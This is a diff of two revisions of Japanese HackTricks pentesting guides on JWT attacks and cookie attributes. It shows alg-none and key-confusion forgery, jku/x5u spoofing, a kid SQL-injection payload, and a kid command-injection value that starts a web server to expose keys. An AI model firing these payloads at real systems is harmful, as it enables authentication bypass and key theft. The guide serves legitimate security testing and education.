署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。たとえば、ユーザー名を "admin" に変更してみてください。 署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。たとえば、ユーザー名を "admin" に変更してみてください。
#### **トークンが確認されているかどうか** #### **トークンがチェックされていますか?**
JWTの署名が検証されているかどうかを確認するには: JWTの署名が検証されているかどうかを確認するには:
- エラーメッセージが検証中を示す。冗長なエラーには機密情報が含まれる可能性があるため、注意が必要です。 - エラーメッセージが検証中を示唆している場合は、詳細なエラーに機密情報が含まれているか確認する必要があります。
- 返されるページの変更も検証を示す。 - 返されるページの変更も検証を示します。
- 変更がない場合は検証が行われていない可能性があります。この場合はペイロードのクレームを改ざんして実験してみてください - 変更がない場合は検証が行われていないことを示し、この場合はペイロードクレームを改ざんして実験するタイミングです
### オリジン ### オリジン
トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認することが重要です。これはプロキシのリクエスト履歴を調べることで行います。 トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認するために、プロキシのリクエスト履歴を調べることが重要です。
- クライアントサイドから最初に表示されたトークンは、鍵がクライアントサイドのコードに公開されている可能性があるため、さらなる調査が必要です。 - クライアントサイドから最初に表示されたトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
- サーバーサイドで生成されたトークンはセキュアなプロセスを示します。 - サーバーサイドで生成されたトークンはセキュアなプロセスを示します。
### 期間 ### 期間
トークンが24時間以上続くかどうかを確認してください... 期限がないかもしれません。"exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。 トークンが24時間以上続くかどうかを確認してください... 期限が切れないかもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。
### HMACシークレットの総当たり攻撃 ### HMACシークレットの総当たり攻撃
@ -70,16 +70,16 @@ JWTの署名が検証されているかどうかを確認するには:
使用されるアルゴリズムを "None" に設定し、署名部分を削除します。 使用されるアルゴリズムを "None" に設定し、署名部分を削除します。
この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更しますリクエストをRepeaterに送信し、"JSON Web Token" タブでトークンの値を変更できます。また、"Alg" フィールドの値を "None" に設定することもできます)。 この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更しますリクエストをRepeaterに送信し、"JSON Web Token"タブでトークンの値を変更できます。また、"Alg"フィールドの値を "None" に設定することもできます)。
### アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555) ### アルゴリズムをRS256非対称からHS256対称に変更する(CVE-2016-5431/CVE-2016-10555)
アルゴリズムHS256は、各メッセージを署名および検証するために秘密鍵を使用します。\ アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。\
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証には公開鍵を使用します。 アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証には公開鍵を使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。 アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
その後、公開鍵を使用してRS256をHS256に変更することで有効な署名を作成できます。Webサーバーの証明書を取得することで、これを実行できます。 その後、公開鍵を使用してRS256をHS256に変更することで有効な署名を作成できます。Webサーバーの証明書を取得することで、これを実行してください:
```bash ```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -93,14 +93,14 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
### JWKSスプーフィング ### JWKSスプーフィング
この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key SetJWKSファイルにリンクすべきです。 この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key SetJWKSファイルにリンクする必要があります。
- **"jku"ヘッダーを持つトークンの評価**: - **"jku"ヘッダーを持つトークンの評価**:
- "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。 - "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
- トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。 - トークンの「jku」の値を変更して、監視されたトラフィックを許可する制御されたWebサービスに向ける。
- **HTTPインタラクションの監視**: - **HTTPインタラクションの監視**:
- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとする試みを示します。 - 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとする試みを確認できます。
- このプロセスで`jwt_tool`を使用する場合、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所に更新することが重要です。 - このプロセスで`jwt_tool`を使用する場合、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所に更新することが重要です。
- **`jwt_tool`のコマンド**: - **`jwt_tool`のコマンド**:
@ -115,7 +115,7 @@ python3 jwt_tool.py JWT_HERE -X s
#### "kid"を通じてキーを明らかにする #### "kid"を通じてキーを明らかにする
`kid`クレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、「"kid":"key/12345"」が指定されている場合、Webルートで _/key/12345_ および _/key/12345.pem_ ファイルを検索する必要があります。 `kid`クレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、`"kid":"key/12345"`が指定されている場合、Webルートで _/key/12345_ および _/key/12345.pem_ ファイルを検索する必要があります。
#### "kid"を使用したパス遍歴 #### "kid"を使用したパス遍歴
@ -123,40 +123,40 @@ python3 jwt_tool.py JWT_HERE -X s
```bash ```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
``` ```
JWTのハッキング ### JWTJSON Web Tokensのハッキング
予測可能なコンテンツを持つファイルを標的にすることで、有効なJWTを偽造することが可能です。たとえば、Linuxシステムの`/proc/sys/kernel/randomize_va_space`ファイルは値**2**を含むことが知られており、JWT生成の対称パスワードとして`kid`パラメータで**2**を使用できます。 予測可能なコンテンツを持つファイルを標的にすることで、有効なJWTを偽造することが可能です。たとえば、Linuxシステムの `/proc/sys/kernel/randomize_va_space` ファイルは値 **2** を含むことが知られており、JWT生成の対称パスワードとして `kid` パラメータで **2** を使用できます。
#### "kid"を介したSQLインジェクション #### "kid" を介したSQLインジェクション
`kid`クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、`kid`ペイロードを変更することでSQLインジェクションが可能になります。JWT署名プロセスを変更するためのSQLインジェクションを使用した例のペイロードは次のとおりです `kid` クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、`kid` ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためのSQLインジェクションを使用した例のペイロードは次のとおりです
`non-existent-index' UNION SELECT 'ATTACKER';-- -` `non-existent-index' UNION SELECT 'ATTACKER';-- -`
この変更により、JWT署名に既知の秘密キー`ATTACKER`が使用されるようになります。 この変更により、JWT署名に既知の秘密キー `ATTACKER` が使用されるようになります。
#### "kid"を介したOSインジェクション #### "kid" を介したOSインジェクション
`kid`パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行RCEの脆弱性が発生する可能性があります。`kid`パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの露出を達成するための例のペイロードは次のとおりです: `kid` パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行RCEの脆弱性が発生する可能性があります。`kid` パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5ujku ### x5u および jku
#### jku #### jku
jkuは**JWK Set URL**の略です。\ jku **JWK Set URL** の略です。\
トークンが“**jku**” **Header**クレームを使用している場合は、**提供されたURLを確認**してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。 トークンが "**jku**" **Header** クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
まず、新しい秘密鍵と公開鍵を持つ新しい証明書を作成する必要があります。 まず、新しい証明書と新しい秘密鍵・公開鍵を作成する必要があります。
```bash ```bash
openssl genrsa -out keypair.pem 2048 openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
``` ```
その後、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用し、パラメータjkuを作成した証明書に指定して新しいJWTを作成できます。** 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。 その後、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用して新しいJWTを作成し、パラメータjkuを作成した証明書に指定します。** 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。
公開証明書からパラメータ"e"と"n"を取得することができます。 公開証明書からパラメータ "e" "n" を取得することができます。
```bash ```bash
from Crypto.PublicKey import RSA from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r") fp = open("publickey.crt", "r")
@ -167,7 +167,7 @@ print("e:", hex(key.e))
``` ```
#### x5u #### x5u
X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。 X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。
**このヘッダーを自分のコントロール下のURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざん**することができます。 **このヘッダーを自分のコントロール下のURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざん**することができます。
@ -176,7 +176,7 @@ X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
``` ```
次に、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成できます。** 次に、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用し、パラメータx5uを作成した.crt証明書に指定して新しいJWTを作成できます。**
![](<../.gitbook/assets/image (439).png>) ![](<../.gitbook/assets/image (439).png>)
@ -184,7 +184,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
#### x5c #### x5c
このパラメータには、**Base64形式の証明書**が含まれている場合があります: このパラメータには、**base64形式の証明書**が含まれている場合があります:
![](<../.gitbook/assets/image (440).png>) ![](<../.gitbook/assets/image (440).png>)
@ -195,11 +195,11 @@ openssl x509 -in attacker.crt -text
``` ```
### 埋め込まれた公開鍵CVE-2018-0114 ### 埋め込まれた公開鍵CVE-2018-0114
JWT に次のシナリオのように公開鍵が埋め込まれている場合: JWTに次のシナリオのように公開鍵が埋め込まれている場合
![](<../.gitbook/assets/image (438).png>) ![](<../.gitbook/assets/image (438).png>)
次の nodejs スクリプトを使用すると、そのデータから公開鍵を生成することが可能です: 次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することができます:
```bash ```bash
const NodeRSA = require('node-rsa'); const NodeRSA = require('node-rsa');
const fs = require('fs'); const fs = require('fs');
@ -228,7 +228,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
### JTI (JWT ID) ### JTI (JWT ID)
JTIJWT IDクレームは、JWTトークンの一意の識別子を提供します。トークンのリプレイを防ぐために使用できます。\ JTIJWT IDクレームは、JWTトークンの一意の識別子を提供します。トークンのリプレイを防ぐために使用できます。\
ただし、IDの最大長が40001-9999である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用して**リクエストのリプレイ**ができま成功したリプレイごとに10000リクエストを送信する必要があります ただし、IDの最大長が40001-9999である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用して**リクエストのリプレイ**が可能です成功したリプレイごとに10000リクエストを送信する必要があります
### JWT Registered claims ### JWT Registered claims
@ -238,13 +238,13 @@ JTIJWT IDクレームは、JWTトークンの一意の識別子を提供
**クロスサービスリレーアタック** **クロスサービスリレーアタック**
一部のWebアプリケーションは、トークンの生成と管理に信頼できるJWTサービスに依存していることが観察されています。同じJWTサービスの別のクライアントによって受け入れられた、あるクライアントのためにJWTサービスによって生成されたトークンのインスタンスが記録されています。第三者サービスを介してJWTの発行や更新が観察された場合、同じユーザ名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。 一部のWebアプリケーションは、トークンの生成と管理に信頼できるJWTサービスに依存していることが観察されています。同じJWTサービスの別のクライアントによって受け入れられたトークンが、JWTサービスによって生成された1つのクライアントのために観測されたことがあります。第三者サービスを介してJWTの発行や更新が観察された場合、同じユーザ名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。
- トークンが受け入れられることで、任意のユーザアカウントのスプーフィングが可能になる可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要なる可能性があることに注意する必要があります。 - トークンが受け入れられることで、任意のユーザのアカウントをスプーフィングする可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要なる可能性があることに注意する必要があります。
**トークンの有効期限チェック** **トークンの有効期限チェック**
トークンの有効期限は、「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしでよく使用されるため、慎重な処理が必要です。他のユーザのJWTをキャプチャしてリプレイすることで、そのユーザをなりすますことができる場合があります。JWT RFCは、JWTリプレイ攻撃を緩和するために「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションこの値の処理と期限切れトークンの拒否を確実にするための関連するチェックの実装が重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。jwt_toolの-Rフラグを使用して、トークンの内容、タイムスタンプの解析、および有効期限チェックUTCのタイムスタンプを読むことができます。 トークンの有効期限は、「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な処理が必要です。多くの場合、他のユーザのJWTをキャプチャしてリプレイすることで、そのユーザをなりすますことが可能になる場合があります。JWT RFCは、JWTリプレイ攻撃を緩和するために「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションによる関連するチェックの実装は、この値の処理と期限切れトークンの拒否が重要です。トークンに「exp」クレームが含まれており、テスト時間の制限が許す場合、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限チェックUTCのタイムスタンプは、jwt_toolの-Rフラグ使用して読むことができます。
- アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。 - アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。
@ -260,14 +260,14 @@ JTIJWT IDクレームは、JWTトークンの一意の識別子を提供
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したり、**PDFでHackTricksをダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する * ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -1,59 +1,60 @@
# Cookiesハッキング # Cookies ハッキング
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。 最も重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruder はあなたの攻撃面を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまでの問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
*** ***
## Cookie属性 ## Cookie 属性
Cookieには、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性の概要です(より受動的な声で): Cookie には、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性についての説明です(より受動的な声で):
### 有効期限とMax-Age ### 有効期限と Max-Age
Cookieの有効期限は`Expires`属性によって決定されます。逆に、`Max-age`属性はCookieが削除されるまでの秒数を定義します。**より現代的な慣行を反映するために`Max-age`を選択してください。** Cookie の有効期限は `Expires` 属性によって決定されます。逆に、`Max-age` 属性はCookie が削除されるまでの秒数を定義します。**より現代的な手法を反映するために `Max-age` を選択してください。**
### ドメイン ### ドメイン
Cookieを受信するホストは`Domain`属性で指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain`属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain`属性の指定は、サブドメイン間でCookieを共有する必要があるシナリオに役立つより制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`などのサブドメインでCookieにアクセスできます。 Cookie を受け取るホストは `Domain` 属性で指定されます。デフォルトでは、これは Cookie を発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain` 属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain` 属性の指定は、サブドメイン間での Cookie 共有が必要なシナリオに役立つより制限の少ないオプションとなります。たとえば、`Domain=mozilla.org` を設定すると、`developer.mozilla.org` のようなサブドメインで Cookie にアクセスできます。
### パス ### パス
要求されたURLに存在する必要がある特定のURLパスは、`Path`属性で示されます。この属性は`/`文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。 要求された URL に存在する必要がある特定の URL パスを示すのが `Path` 属性です。この属性は `/` 文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。
### 順序付けルール ### 順序付けルール
同じ名前の2つのCookieがある場合、送信するCookieは次の基準に基づいて選択されます 同じ名前の 2 つの Cookie がある場合、送信する Cookie は次の基準に基づいて選択されます:
- 要求されたURLの最も長いパスに一致するCookie。 - 要求された URL で最も長いパスに一致する Cookie。
- パスが同じ場合は、最も最近に設定されたCookie。 - パスが同じ場合は、最も最近に設定された Cookie。
### SameSite ### SameSite
- `SameSite`属性は、サードパーティドメインからのリクエストでCookieが送信されるかどうかを指示します。3つの設定が提供されます: - `SameSite` 属性は、サードパーティドメインからのリクエストで Cookie が送信されるかどうかを指示します。3 つの設定が提供されます:
- **Strict**サードパーティリクエストでCookieの送信を制限します。 - **Strict**: サードパーティリクエストで Cookie の送信を制限します。
- **Lax**サードパーティウェブサイトによって開始されたGETリクエストでCookieの送信を許可します。 - **Lax**: サードパーティウェブサイトによって開始された GET リクエストで Cookie の送信を許可します。
- **None**任意のサードパーティドメインからCookieの送信を許可します。 - **None**: 任意のサードパーティドメインから Cookie の送信を許可します。
Cookieを構成する際に、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。 Cookie を構成する際に、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。
| **リクエストタイプ** | **例のコード** | **Cookieの送信時** | | **リクエストタイプ** | **例のコード** | **Cookie が送信される場合** |
| ---------------- | ---------------------------------- | --------------------- | | ---------------- | ---------------------------------- | --------------------- |
| リンク | \<a href="...">\</a> | NotSet\*, Lax, None | | リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
| プリレンダー | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None | | プリレンダー | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
@ -63,65 +64,65 @@ Cookieを構成する際に、これらの属性を理解することで、さ
| AJAX | $.get("...") | NotSet\*, None | | AJAX | $.get("...") | NotSet\*, None |
| 画像 | \<img src="..."> | NetSet\*, None | | 画像 | \<img src="..."> | NetSet\*, None |
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)からの表とわずかに変更されています。\ [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からの表を若干修正しています。\
_**SameSite**_属性を持つCookieは、ログインセッションが必要なCSRF攻撃を**緩和**します。 _SameSite_ 属性を持つ Cookie は、ログインセッションが必要な CSRF 攻撃を**緩和**します。
**\*Chrome802019年2月以降、SameSite属性のないCookieのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ **\*Chrome802019年2月以降、SameSite 属性のない Cookie のデフォルト動作は Lax になります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更を適用した後、Chromeでは**SameSiteポリシーのないCookie**は**最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストでは**Lax**として扱われます。 この変更を適用した後、**SameSite ポリシーのない Cookie は、最初の 2 分間は None として扱われ、その後はトップレベルのクロスサイト POST リクエストでは Lax として扱われます。**
## Cookieフラグ ## Cookies フラグ
### HttpOnly ### HttpOnly
これにより、**クライアント**がCookieにアクセスできなくなります`document.cookie`を介したJavaScriptなど)。 これにより、**クライアント**が Cookie にアクセスできなくなります(例: `document.cookie` を介した JavaScript など)。
#### **バイパス** #### **バイパス**
* ページがリクエストの応答としてCookieを送信している場合たとえば**PHPinfo**ページなど、XSSを悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は[https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)にあります)。 * ページがリクエストの応答として Cookie を送信している場合(たとえば **PHPinfo** ページなど、XSS を悪用してこのページにリクエストを送信し、応答から Cookie を**盗む**ことが可能です([https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) で例を確認してください)。
* このバイパスは、サーバーからの応答として**TRACE** **HTTP**リクエストを送信することでバイパスできますこのHTTPメソッドが利用可能な場合。この技術は**クロスサイトトラッキング**と呼ばれます。 * このバイパスは、サーバーからの応答として **TRACE** **HTTP** リクエストを送信することで回避できます(この HTTP メソッドが利用可能な場合)。この技術は **Cross-Site Tracking** と呼ばれます。
* この技術は、一部の特定のソフトウェアで`\r\nTRACE`を`TRACE`の代わりにIE6.0 SP2に送信するなど、特定のソフトウェアでこのバイパスを見つけることができます。 * この技術は、一部の特定のソフトウェアで `\r\nTRACE` `TRACE` の代わりに IE6.0 SP2 に送信するなど、特定のソフトウェアで見つかったバイパスによって、**現代のブラウザによって回避**されます。
* もう1つの方法は、ブラウザのゼロ/デイ脆弱性を悪用することです。 * もう一つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。
